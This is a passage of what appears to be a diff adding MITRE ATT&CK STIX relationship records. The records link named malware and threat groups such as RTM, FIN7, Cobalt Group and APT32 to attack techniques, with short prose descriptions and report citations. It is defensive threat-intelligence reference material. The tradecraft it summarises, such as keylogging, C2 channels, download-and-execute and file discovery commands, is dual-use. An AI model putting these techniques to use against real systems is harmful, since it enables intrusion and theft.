"relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046", + "description": "[RTM](https://attack.mitre.org/software/S0148) can delete all files created during its execution.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-06-16T20:51:13.951Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + }, + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. 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Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bec2b0d9-b76e-4acb-a9a4-adebe4c854c0", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can take screenshots.(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-03-20T15:42:34.404Z", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. 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Run commands on Windows system remotely using Winexe. Retrieved January 22, 2018.", + "source_name": "Secpod Winexe June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects address book information from Outlook.(Citation: Symantec Dragonfly)", + "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "modified": "2020-03-29T22:54:58.176Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). 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Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4e07996d-c9d9-49a8-9800-94daf69cd3b3", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of files and directories in C:\\ with the command dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\".(Citation: Symantec Orangeworm April 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-03-18T00:52:18.997Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--95415ffd-265d-448f-bb39-73c7721d5c42", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload files from a compromised host.(Citation: Microsoft BITSAdmin)", + "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "modified": "2020-03-16T17:51:37.946Z", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://msdn.microsoft.com/library/aa362813.aspx", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "source_name": "Microsoft BITSAdmin" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5422e9a8-4fbe-40c0-8348-53faa9a7d2d3", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses WMI to perform discovery techniques.(Citation: Unit 42 OilRig Sept 2018)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2019-04-24T23:40:23.513Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses scheduled tasks typically named \"Watchmon Service\" for persistence.(Citation: F-Secure Cosmicduke)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2021-07-20T21:57:36.216Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of capturing keystrokes on victims.(Citation: Dell TG-3390)", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "modified": "2020-03-16T16:56:45.657Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a00bb928-c644-4b77-ae9c-18c3165daa00", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) searches for specified files.(Citation: FireEye APT37 Feb 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-03-17T00:47:20.090Z", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1d3892ec-dccb-4ba2-b82c-2c7fcafbdd00", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T02:18:04.005Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) transfers files from the compromised host via HTTP or HTTPS to a C2 server.(Citation: F-Secure The Dukes)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T02:07:10.854Z", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "description": "F-Secure Labs. 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Retrieved July 17, 2017.", + "source_name": "Janicab" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd", + "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts collected data with an incremental XOR key prior to exfiltration.(Citation: Palo Alto Reaver Nov 2017)", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "modified": "2020-03-30T03:02:09.221Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). 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Retrieved September 23, 2020.", + "source_name": "ESET Dukes October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bd5699e8-8765-4f24-8307-c81a296b87e0", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "modified": "2020-03-30T03:10:12.855Z", + "source_ref": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.019Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62f16083-efca-477c-8107-e208ca4c75cb", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.(Citation: aptsim)", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "modified": "2019-04-29T18:01:20.628Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. 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Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cc79d8c5-f7c9-4c8b-810d-e57d70a07d4f", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.(Citation: NCC Group APT15 Alive and Strong)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2021-03-29T19:54:46.202Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8530dbc-8ede-4b30-b0c1-f32bf2a081eb", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used ports 53, 80, 443, and 8080 for C2.(Citation: FireEye FIN7 Aug 2018)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-06-30T23:13:18.464Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--808f140e-8b7b-4efa-8708-2f2308b2fc41", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download [Pupy](https://attack.mitre.org/software/S0192).(Citation: Secureworks Cobalt Gypsy Feb 2017)(Citation: ClearSky Kittens Back 3 August 2020)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2021-06-02T16:31:56.063Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Secureworks Cobalt Gypsy Feb 2017", + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", + "source_name": "ClearSky Kittens Back 3 August 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--883762ff-5cb3-49af-87a2-6a128a1ce939", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) is likely loaded via DLL hijacking into a legitimate McAfee binary.(Citation: APT15 Intezer June 2018)", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "modified": "2020-03-30T17:05:26.908Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98c18956-03d7-49e5-93b2-44351682331d", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "modified": "2020-01-31T19:01:42.161Z", + "source_ref": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used powershell.exe to download and execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2019-07-26T23:38:34.145Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5", + "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)", + "target_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "modified": "2020-10-09T16:07:59.157Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.050Z", + "external_references": [ + { + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.", + "source_name": "ESET Dukes October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--45626c7f-c401-427b-9589-c91a4b2a4f7f", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has exploited the CVE-2016-0167 local vulnerability.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "modified": "2019-03-22T20:21:57.756Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec", + "description": "(Citation: Cylance Cleaver)", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "modified": "2021-04-21T16:41:34.697Z", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.032Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors mapped network drives using net use.(Citation: Dell TG-1314)", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2019-03-25T17:01:21.292Z", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.064Z", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4807dbdc-6bcb-4aed-96f4-a782551eaefe", + "description": "(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-07-26T23:38:34.296Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ea7c1a9f-7d8e-4a06-8331-9901a33ee7d8", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-09-24T20:24:27.706Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "source_name": "ESET OceanLotus" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", + "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020.", + "source_name": "FireEye APT32 April 2020" + }, + { + "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.", + "source_name": "Amnesty Intl. Ocean 